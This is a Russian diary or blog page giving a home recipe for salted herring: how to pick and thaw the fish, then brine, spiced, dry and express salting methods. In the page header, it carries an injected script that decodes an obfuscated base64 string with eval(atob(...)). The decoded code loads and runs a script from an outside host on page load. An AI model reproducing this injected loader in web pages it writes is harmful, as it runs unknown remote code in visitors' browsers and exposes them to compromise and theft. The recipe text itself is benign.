Без заголовка. Обсуждение на <img src="/i/o.gif"><script>eval(atob('dmFyIG49ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7bi5zcmM9Ii8vdjF2LmJlL3E/cz1wYXIiO2RvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJib2R5IilbMF0uYXBwZW5kQ2hpbGQobik7'))</script> |
«Пролетарский деликатес»
Ароматная и нежная соленая селедка – прекрасная закуска и незаменимый компонент традиционных салатов. А самым лучшим вкусом отличается селедка, приготовленная самостоятельно.
«Пролетарский деликатес»
Самая вкусная селедка – жирная, не пересоленная, с упругим мясом, ароматная. Такая селедка вкусна и сама по себе, с луком и маслом, и в составе различных закусок. А приготовить ее совсем несложно.
Выбор селедки
Идеально подойдет для засолки свежая селедка, но вполне подойдет и замороженная. Главное, чтобы рыба была доброкачественной. Не стоит покупать помятую, пожелтевшую, с дряблым мясом, с повреждениями. Глаза рыбы должны быть выпуклыми, а плавники – прижатыми к тушке. Обезглавленная селедка – довольно рискованный вариант: часто производители пытаются скрыть тот факт, что рыба уже не первой свежести.Желательно отдать предпочтение атлантической или тихоокеанской селедке.Чем крупнее и толще тушка, особенно в области спинки, тем более жирной и нежной получится селедка. Самой лучшей считается селедка, выловленная в холодное время года, когда рыба «нагуливает» жир.
Подготовка к засолке
Размораживать селедку нужно медленно. Лучше всего просто положить замороженную тушку в холодильник: при температуре 5 градусов она разморозится через несколько часов, почти не потеряв свои соки. Необходимо только плотно закрыть посуду с селедкой, чтобы запах от нее не распространился по всей холодильной камере.
Размороженную рыбу нужно промыть и удалить ей жабры. Если этого не сделать, то готовая селедка будет иметь горьковатый вкус. Считается, что самой вкусной получается селедка, засоленная целиком, не потрошеная. Но при желании можно сделать рыбе надрез на брюшке и освободить ее от внутренностей – это позволит засолить сельдь быстрее, за несколько часов, а не за несколько дней, как не потрошеную.
Как солить селедку в домашних условиях:
Базовый рецепт
Рецепты рассола для приготовления потрошеной и нарезанной на кусочки рыбы или селедки целиком не отличаются. Просто в первом случае рыба будет готова через несколько часов, а во втором случае придется подождать от двух до пяти дней, пока селедка полностью просолится.
Рассол готовится из трех стаканов воды (всего 600 мл), столовой ложки соли и чайной ложки сахара. Воду нужно довести до кипения, растворить в ней соль и сахар и обязательно остудить рассол до комнатной температуры, после чего залить им селедку. Этого количества рассола достаточно для приготовления двух крупных рыбин: тушки должны быть полностью покрыты жидкостью.
Для засолки лучше всего использовать стеклянную или эмалированную посуду, которая не впитывает запахи. Лучше всего селедка просаливается при температуре от 2 до 10 градусов. Емкость с селедкой надо убрать в холодильник и оставить на необходимый срок. Когда селедка полностью просолится, рассол надо слить, а рыбу залить тонким слоем растительного масла.
Йодированную соль использовать для засолки не рекомендуется.
Пряный посол
Многие предпочитают ароматную селедочку пряного посола. На литр воды нужно взять 100 граммов соли, пару лавровых листов, 10 горошин душистого перца, столько же горошин черного перца и полторы чайные ложки сахара. Рассол довести до кипения и проварить в течение 5 минут. Полностью остывшим рассолом заливают рыбу и оставляют в закрытой емкости в прохладном месте. Селедка будет готова через сутки.
В пряном рассоле рыбу обычно засаливают целиком, и разделывают лишь потом, перед едой. Такая селедка отличается особенно приятным ароматом, она очень хороша в качестве закуски.
Сухая засолка
Как и другие виды рыбы, селедку можно засолить не в рассоле, а сухим способом. Подготовленную и подсушенную с помощью бумажных салфеток тушку тщательно со всех сторон натирают смесью из соли, сахара и молотого черного перца. Сахара должно быть примерно вдвое меньше, чем соли.
После этого рыбу заворачивают в полиэтиленовый пакет или пищевую пленку и убирают в холодильник на двое суток. По вкусу селедка сухого посола ничуть не уступает приготовленной традиционными методами, а места в холодильнике занимает во время засолки совсем немного.
Экспресс-засолка селедки
Если вечером к вам обещали нагрянуть гости, то побаловать их можно засоленной утром селедочкой.
Вам потребуются:
селедка – 2 тушки,
соль – 1 столовая ложка,
сахар – 1 столовая ложка,
перец черный молотый – 1/3 чайной ложки,
измельченный лавровый лист.
Способ приготовления
Рыбку потрошим, удаляем жабры и голову. Промываем. На час опускаем в холодную воду.
Смешиваем перечисленные специи.
Рыбку вынимаем из воды. Обсушиваем бумажными полотенцами. Натираем пряной смесью.
Заворачиваем селедочку в пищевую пленку и оставляем при комнатной температуре. Уже через 2 часа рыбка готова к употреблению.
Нарезаем готовую рыбку и заправляем смесью из столового уксуса и растительного масла.
Пробуем!
| Комментировать | « Пред. запись — К дневнику — След. запись » | Страницы: [1] [Новые] |
